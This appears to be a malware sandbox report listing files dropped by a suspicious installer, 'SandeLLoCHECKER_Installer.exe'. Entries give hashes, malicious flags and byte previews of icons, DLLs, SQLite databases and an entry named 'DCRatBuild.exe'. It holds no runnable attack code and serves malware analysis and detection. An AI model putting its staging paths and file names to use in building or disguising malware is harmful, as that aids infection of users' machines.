Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\webDriverintoDll.exe.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1915
Entropy (8bit):	5.363869398054153
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6oPtHTHhAHKKkt1qHGIs0HKjJHVHmHKlT4vHNpv:iqbYqGSI6oPtzHeqKktwmj0qV1GqZ4vb
MD5:	0C47412B6C6EF6C70D4B96E4717A5D3B
SHA1:	666FCC7898B52264D8A144600D7A3B0B59E39D66
SHA-256:	0B3F6655476FA555F55859443DE496AF7279529D291EF9745C22C5C283B648F9
SHA-512:	4E51FCBCA176BF9C5175478C23AE01445F13D9AC93771C7F73782AF9D98E8544A82BBFB5D3AA6E2F3ECF1EFB59A8466EB763A30BD795EFE78EE46429B2BEAC6C
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567f

C:\Users\user\AppData\Local\Temp\1uXHZw21VW

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2V2U3XkFWy

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.323856189774724
Encrypted:	false
SSDEEP:	3:QLYYzUkcun:2hzvcun
MD5:	1FAC1152A8BD4CEE39D7005406DE9DD4
SHA1:	8FE37DDABD351856ACD399F39EEA3146FC4BD9CC
SHA-256:	07D23C1EDCEF3BAA06370F07E437B02DE1201376191D6441088FCF662E1CDEFA
SHA-512:	C1CA290AC1E412A12A7FD8AB952AD4B4A0480B1509B7202FD1927BA81F25D8062720B3C22D7A2412AF5F2B27EB30CF22B0E519513B22D7BE16E06229EE2F19B7
Malicious:	false
Preview:	OrTRsYwwocMtXka5qbI11X65K

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\New

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	2.9169468593135157
Encrypted:	false
SSDEEP:	96:+f+OFx/DgstjfDaf///////aorGbaX8PSccl1q12xfnW1orsKc:+WqDgOQ///////aoZsP+/qAVnWursKc
MD5:	1E80DE80CEFEE55D7CFDA0DF2EDCF3B2
SHA1:	6E567D732354BBB21F9A57BBB72730C497F35380
SHA-256:	4E64F4E40D8CBFF082B37186C831AF4B49E3131C62C00A0CF53E0A6E7E24AC2B
SHA-512:	5EFEA023B18FFD5B87A19837BA2C72C179B55B7C3071B773A032C63D7268DBE25E2902AE8B111AD83A4F005346B378C7A75033ADAEE90805BCB4FEC2822E54C0
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\ShortcutFlags.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	308536
Entropy (8bit):	6.622627232444347
Encrypted:	false
SSDEEP:	6144:6yEEi+lMWuJ/nuQ+TDZCSl3F0P2W9LpAO2FoLXv7A+:hExMduJ/nF+ToSQc6LXvd
MD5:	2B72B867CE06B51132AF8E6B5BD9C6D2
SHA1:	48C12B24588A2513A847A9D934DFD88F22044F9A
SHA-256:	42E4BA85C71A2C275D4682E3D137CEB5B1B9993541191176E71B2C9E98AE496D
SHA-512:	00F47E884B0853029420D82368376548B02D77B2683D28A5420B6A5E5D764F1FB9121087EDFAD3A1BDCA0A21ED7BD47A47817CD153D0ABC1705A7643FB79BB6A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 00onP4lQDK.exe, Detection: malicious, Browse Filename: Px0b16q72c.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........`8...V..V..V.OsU..V.OsS.;.V.#}R..V.#}U..V.#}S...V.OsR..V.OsP..V.OsW..V..W.K.V.E\|_..V.E\|V..V.E\|...V.....V.E\|T..V.Rich..V.................PE..L....!od.........."!...#.....l.......Y.......0............................................@.........................`@......pA.......p..x............x..8=.............p...................@...........@............0...............................text............................... ..`.rdata..>....0......................@..@.data........P.......8..............@....rsrc...x....p.......F..............@..@.reloc..........,...L..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\Up

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	2.7901346596966383
Encrypted:	false
SSDEEP:	192:+n5lkX/1//AJffffPTb6ylHJxnSfFN5pM2C:+5lkX/K
MD5:	FD64F54DB4CBF736A6FC0D7049F5991E
SHA1:	24D42FB471AAA7BCD54D7CCB36480F5ADD9B31D4
SHA-256:	C269353D19D50E2688DB102FEF8226CA492DB17133043D7EB5420EE8542D571C
SHA-512:	EC622AFAB084016F144864967A41D647E813282CB058F0F11E203865C0C175BA182E325A6D5164580FF00757C8475B61DE89CCC8E892E1B030E51B03AD4EAFB4
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\checkernewicon.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5, orientation=upper-left, xresolution=74, yresolution=82, resolutionunit=3], baseline, precision 8, 512x512, components 3
Category:	dropped
Size (bytes):	33060
Entropy (8bit):	7.385353353756138
Encrypted:	false
SSDEEP:	768:de5E/hgHgopL9b7MTaDRA1SsB0YZ/OMfxj0kSKmwfDiQjjWKIfU6WgKU:de5ysp6TwicsWkGKmwfDiQqKIfU/gKU
MD5:	643516C9C88C63A4F6AC51E7E31413CC
SHA1:	A6A1EBA4E9E0ABE410617C9FAAE5ECAD74A6179B
SHA-256:	474629078C3E4C414EFF6FC939F9DEEA9CF7C7BE4C69B3ACC0B3F26BDF4ABA32
SHA-512:	F8FE7B7CA669CBA87279EB40130F64C8F68592B400DDE2C4F8254C745A7A75397C3CEAA08B4A7A318F1540404EBA8F937B4F1A697F8BBE07F55D6ECE950E040C
Malicious:	false
Preview:	......JFIF.............bExif..MM.*.............................J...........R.(..............................................http://ns.adobe.com/xap/1.0/.<?xpacket begin='.' id='W5M0MpCehiHzreSzNTczkc9d'?>.<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.40'>.<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>.. <rdf:Description rdf:about=''. xmlns:dc='http://purl.org/dc/elements/1.1/'>. <dc:format>image/png</dc:format>. </rdf:Description>.. <rdf:Description rdf:about=''. xmlns:photoshop='http://ns.adobe.com/photoshop/1.0/'>. <photoshop:ColorMode>3</photoshop:ColorMode>. </rdf:Description>.. <rdf:Description rdf:about=''. xmlns:xmp='http://ns.adobe.com/xap/1.0/'>. <xmp:CreateDate>2023-10-01T20:24:54+03:00</xmp:CreateDate>. <xmp:CreatorTool>Adobe Photoshop 24.4 (Windows)</xmp:CreatorTool>. <xmp:MetadataDate>2023-10-01T20:28:20+03:00</xmp:MetadataDate>. <xmp:ModifyDate>2023-10-01T20:28:20+03:00</xmp:ModifyDate>. </rdf:Description>.. <rdf:Description

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\checkernewicon.svg

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	79519
Entropy (8bit):	6.001179098064363
Encrypted:	false
SSDEEP:	1536:9RjTj2t+CE9CYbd8PKZQmLA3/h7HYL9CR3EvHp35jT371iQ6Zv6UD:DjBCAqEQAA3/ZvR3sVd3Q1Zh
MD5:	E853D2085D300FD8E3D7FEDBCF53E060
SHA1:	1B0897AA8492261E9015E75DAD6F7B3E21E00088
SHA-256:	58F77E7DF8C274AEB0C7305A02397DC6C2E78FE0D4635F43D3A5634DEE27A9E0
SHA-512:	229CE253FCD089B03E5700BC7292F9E673390FE0967FF5ABD4BC3646BD95002FA0326B05BC4F6CF7D9A73A718BB4A4CCD4E3321B6D3D42BA9B0F2FF0BBDED5CF
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="512" height="512" viewBox="0 0 512 512">. <image id="...._1" data-name=".... 1" width="512" height="512" xlink:href="data:img/png;base64,iVBORw0KGgoAAAANSUhEUgAAAgAAAAIACAYAAAD0eNT6AAAgAElEQVR4nOy9d5Ak2X3f+XnpyrR3483O7O6sN9jFgnAkLAGIICDCiEagIJ1AI90dT7xTxN3FKc7o/tOFFBdxcVRcSHe6EEWdREokQQcIBEk4wi2AxWJ3ucC62dnd8TPty2fmexfvZVZ3Vk3PTPe0n/59JnK6q7pMVmVV/n7vZ74/dfjwYfYgI8DbgMeBh4GHgLuBYC++GYIgCHuEBHgJeBZ4BngK+AYwvxc/AHvFARgD3ptvPwHcD3g7YL8EQRCE7UUDzwNfA74CfBGY2QvH5HZ2AKyR/zjwU8BbAH8H7JMgCIKws0mBJ4HPAb+XOwe3JbebA3An8PPAz+VhfUEQBEFYDzZd8NvA7+Tpg9uG28EBKAOfAH45D++rHbBPgiAIwu2FAb4K/Evgd4HWbn91u9kBOAr8V8DfBcZ3wP4IgiAIewNbI/CvgP8DeGO3vuLd6AA8CvzDPMwf7oD9EQRBEPYmcZ4e+N/zjoJdxW6qhLften+Qv8m/KMZfEARB2GbC3B59N7dPj+ymA7IbHIC78+KLp4GPSo5fEARB2GGo3D59P7dX9+yGA7STHYBR4J8CzwF/Qwy/IAiCsMNRub16Jrdfozt5d/3h4eEdsBs92DfwV4HPAu+X/n1BEARhl2Ht1tuBXwIWdmp9wE6LANyTKzH9X8DkDtgfQRAEQbhVJnN79tWdmBbYKQ6A1eD/H/I8/4/vgP0RBEEQ

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\cmdlinkarrow

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	MS Windows icon resource - 3 icons, 16x16, 16 colors, 4 bits/pixel, 16x16, 8 bits/pixel
Category:	dropped
Size (bytes):	2862
Entropy (8bit):	3.160430651939096
Encrypted:	false
SSDEEP:	48:QFFZ+f+zd+kHeNTM9/+Xz++++++++YWWS0i6I:QFFEw4Xc+D++++++++ypi9
MD5:	983358CE03817F1CA404BEFBE1E4D96A
SHA1:	75CE6CE80606BBB052DD35351ED95435892BAF8D
SHA-256:	7F0121322785C107BFDFE343E49F06C604C719BAFF849D07B6E099675D173961
SHA-512:	BDEE6E81A9C15AC23684C9F654D11CC0DB683774367401AA2C240D57751534B1E5A179FE4042286402B6030467DB82EEDBF0586C427FAA9B29BD5EF74B807F3E
Malicious:	false
Preview:	..............(...6...........h...^......... .h.......(....... .........................................................................................................................................................wv....."""""o.."""""o..www""......"/.....""......"/......r.........................?...........................................?......(....... ..................................................."..... .". .6.-.9.;.<.;.D.3.,...4...9...O.,.Q.$.M.2.S.:.\.1.U.$._.1.F.G.I.A.`.@.w.q...\|...q...{.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\completi

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	3.57715132031736
Encrypted:	false
SSDEEP:	48:+728OQ6YxsPq7v8N+2RdHKb80000000000000000000000000MqfqF2Nnnu8jgLe:+72LQWPq7vEFXVCVKuM4expgz
MD5:	C23AF89757665BC0386FD798A61B2112
SHA1:	FD4958B62F83EDF6774FCF7C691CC3270B82AA0B
SHA-256:	031ED0378F819926D7B5B2C6C9367A0FB1CBAE40E1A3959E2652FE30A47D52F2
SHA-512:	5727ABA9CD972C8F25B31F2A8E698CA2CAE640427A62A0EA4092FD426B907D39BAF58B8724B6E37965E76BE90EAA329F7D4A7EE4688922ED796D54E4377FC8CC
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%....................................................................................................................................................................................................................................................................................................x...t..f..f..t.....x...".......................................................................................................................................................d................................d..............................................................................................................................................N.k................................................j....Z..............................................................................................................................o.d..........................................................d...s......

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\custicon

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	3.2912578217465134
Encrypted:	false
SSDEEP:	48:+728OQ6UfPsw8PX4E0000000000000000000000000rggggj88jgLiqYTqfI0008:+72LQpPswSXtA4vJbvi
MD5:	BE6D2F48AA6634FB2101C273C798D4D9
SHA1:	21D1B2E7BCA49FE727E1C3A505E28E609EC53CC7
SHA-256:	0E22BC2BF7184DFDB55223A11439304A453FB3574E3C9034A6497AF405C628EF
SHA-512:	8BC2C9789640ED0E6F266FDC27647F7CE510EFE06ED1225BB8510F082E6C009E7911AEC38F21DE405FA68A418513DA2DC541EDB53F4FA6887603596EBD29F463
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%....................................................................................................................................................................................................................................................................................................x...t..f..f..t.....x...".......................................................................................................................................................d................................d..............................................................................................................................................N.k................................................j....Z..............................................................................................................................o.d..........................................................d...s......

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\dialog.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	PC bitmap, Windows 3.x format, 500 x 316 x 8, 1 compression, image size 36830, resolution 3779 x 3779 px/m, 5 important colors, cbSize 36904, bits offset 74
Category:	dropped
Size (bytes):	36904
Entropy (8bit):	1.6592122603583341
Encrypted:	false
SSDEEP:	96:ZFgstvLTJ/lJzh7nVnnWpinnJ7FNng6H6ityl6Tk:3gstjTJddWpi7vndHDLTk
MD5:	ABF1076064505DEE794FA7AED67252B8
SHA1:	358D4E501BB3007FEECE82A4039CC1050F23FAB4
SHA-256:	FB0D133F05DE6AA6A7A3491AE532191A60C438B35D9FF7BFEC9E63131F6F0C73
SHA-512:	9A4680A8D186C1D7550B5E03CBDD095B0C88B2E0249A3AF75FA0253D2C9A6F0AA1DD570ECF1A273683A14E6C7B5FB11678BE3DA439A3BF23EAB790372E96E321
Malicious:	false
Preview:	BM(.......J...(.......<..................................................N..U........................................................................................R...S..P..................................................................................R...V..M................................................................................R...[..H..........................................................................R...^..E........................................................................R...a..B....................................................................R...f..=................................................................R...i..:............................................................R...l..7..........................................................R...o..4......................................................R...r..1....................................................R...u...................................................R.......................g..+......

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\exclamic

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	3.486912391627119
Encrypted:	false
SSDEEP:	96:+jsnrGWGIxANQAI2DZ4uHnIdUsbTgvCh3gs//oUvz4tbr4/w:+YzxkQAj4eIdqv8T//3+bsw
MD5:	3FBB7DDBC13EDF109E3ACAA7A4A69A4E
SHA1:	BF53201D998ED6E6F2E07584EFDA9585113AEB0E
SHA-256:	F8429073C7A83377AD754824B0B81040D68F8C1350A82FF4DCCF8BC4BF31F177
SHA-512:	CF818A9E88002D373019C0F3C9AF1BE27F20E074C662973898724124EC40F95CEC89F73D4A2F693C73D63981109EFB135057DEEC9245865C3F6351C128AB93D2
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%......................................................................................................................................................................................................................_....w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w..I..............2.w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w.....J............S....w..4...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...;....w..>......................?.w......Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y...Y.

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\info

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	3.347251063198798
Encrypted:	false
SSDEEP:	192:+h7OMtMrJbDG0UDLHMrhmZ1galQpAAAAAAAAAAAS55qjOlr9n:+6g0uyi1ZQpAAAAAAAAAAASXqjOp9n
MD5:	8595D2A2D58310B448729E28649443D6
SHA1:	08C1DF6FBF692F21157B2276EB1988AC732FF93C
SHA-256:	27F13C4829994B214BB1A26EEF474DA67C521FD429536CB8421BA2F7C3E02B5F
SHA-512:	AE409B8F210067AC194875E8EBF6A04797DF64FA92874646957B2213FB4A4F7DA2427EF1ED8D35CD2832B2A065E050298BAC0FC99C2A81DE4A569A417C2A1037
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%.....................................................................................................................{...............................................................................................................................................................................................rqr............................................................................................................................................................................................rqr............................................................................................................................................................................................tst............................................................................................................................................................................}................yxy...................................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\insticon

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	3.9105220993102248
Encrypted:	false
SSDEEP:	96:+7d0iiiiiiiuiiiiiiiZiiiiii0DMiiiiiiZiiiiiPiiiiiDfiiiiiMiiiii1Ji3:+TB4Gds1E2fVE5MF+mJwnwewO
MD5:	EAC3781BA9FB0502D6F16253EB67B2B4
SHA1:	5EFF4FCDC405732702432008AB43164CA6F37101
SHA-256:	F864E8640C98B65C6C1B9B66A850661E8397ED6E66B06F4424396275488AF1BE
SHA-512:	D108687995B5B02778FC7ACF3A66706E761103B1EE47305D852BF9A190BDF1722B4C6277A13B65BDAD9F4E3F92406F5C7B1B06444D1493F2D4B1AAEAF4176E06
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%....................................................................................................x...t..f..f..t.....x...".......................................................................................................................................................d................................d...........................................................................................i...N...N...N...N...N...N...N...N...N..S...`.....s.k................................................j....Z.................................................................................N.......................................N.......d..........................................................d...s.............................................................................N......................................If...c..................................................................d....X..

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\lzmaextractor.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22848
Entropy (8bit):	6.869882977441407
Encrypted:	false
SSDEEP:	384:jOw0cYAp0r9rjRLIECrsLIECrCXa/rl9qX2Ip4ZByeqjdAA1m5wMhHIu+EH:jOAPORCrICrcKrLy2Ip4Dqxf1mlhHj+G
MD5:	85111988C5B1948A54E8865DE262A184
SHA1:	B58670CF0BE0CC488922F82A8D6AC256797191F7
SHA-256:	D07FB8D8FA591E276C9DFD64ADE398C559A5BFDCF396FA732C46FF6732F26BEB
SHA-512:	FDFFB6ABF43681E0A107C9A90C9F67A010D462E257BDCA3ABD4A293F3AF87EABDAF17D8B2A7B737A18CEE654151745784AD9673734410CEA52F163D32C228E6A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........u9.b.j.b.j.b.j...k.b.j.b.j.b.j...k.b.j...k.b.j...j.b.j.b.j.b.j...k.b.jRich.b.j........PE..L....!od.........."!...#............@........ ...............................`............@.........................P".......$.......@..h...............@=...P..\....!..p............................................ ..X............................text...)........................... ..`.rdata..X.... ......................@..@.data........0......................@....rsrc...h....@......................@..@.reloc..\....P......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\removico

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	3.8375433162027344
Encrypted:	false
SSDEEP:	96:+SqmR4fTBOTPsbZX78rXSEUFJVkKuCWGDiPlBaBR6J/g/ic9teKUwj11FQ:+SqmiTXZLPjkKuCNU7wic6PR
MD5:	1FFFE5C3CC990D0C012A428A59B2AE46
SHA1:	FAE8042826087D9BB4CD4194E7453D56A773EA64
SHA-256:	45791627AE8E67E6B616117CF21F04DA381722FAF08D07C0C25E0F28C9B8F82B
SHA-512:	694D63747AD129CA06EBD743E4090642E557F2260C62AA625321BC309C1E2E58D9BFFF1E0AEE37EFFE5FD4628938AD89B659C9ABB43FDC2CF2285212C1A209F2
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%.............................................................................................................................................................................................................................................................................................@..z......u..m..d..c..m..z..........`...%..............................................................................................................................l....g..c..c..c..c..c..c..c..c..c..c..c..c..c..c..x.......-.......................................................................................................=...g..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c.......F.............................................................................................c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\repairic

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	3.5353892544389707
Encrypted:	false
SSDEEP:	96:+7mrhLDFPIc+Q0VDnSOVKaZ8y4mV4pZeJh:+OhHFPvJurSV24mVb
MD5:	915E40A576FA41DC5F8486103341673E
SHA1:	528CF57F3775638E721C20A6988DBD322FB39273
SHA-256:	BF21B2BC3E7253968405F3D244CDB1C136672A5BDB088B524A333264898A2D11
SHA-512:	66385B58942BAF62B6B33AB646EA981D4A6682F8570B7DF4EFA1A7F4536CB35FE065803314877E95338B8DFB9A854E06A110BD0C2A2D3CE3A7C587E35006649E
Malicious:	false
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......%....................................................................................................................................................................................................................................................................................................x...t..f..f..t.....x...".......................................................................................................................................................d................................d..............................................................................................6bbb.III.III.iii................................N.k................................................j....Z...............................................................................+RRR.III.III.III.III.TTT....(..................o.d..........................................................d...s......

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\tabback

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	PC bitmap, Windows 3.x format, 1 x 200 x 24, cbSize 854, bits offset 54
Category:	dropped
Size (bytes):	854
Entropy (8bit):	3.802531598764924
Encrypted:	false
SSDEEP:	24:kUGGGGGGGGjg/QUVdLbCKKKKKKWqqqqqqr:kGUVdnCKKKKKKWqqqqqqr
MD5:	4C3DDA35E23D44E273D82F7F4C38470A
SHA1:	B62BC59F3EED29D3509C7908DA72041BD9495178
SHA-256:	E728F79439E07DF1AFBCF03E8788FA0B8B08CF459DB31FC8568BC511BF799537
SHA-512:	AB27A59ECCDCAAB420B6E498F43FDFE857645E5DA8E88D3CFD0E12FE96B3BB8A5285515688C7EEC838BBE6C2A40EA7742A9763CF5438D740756905515D9B0CC5
Malicious:	false
Preview:	BMV.......6...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BVT97l6QRY

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Download File

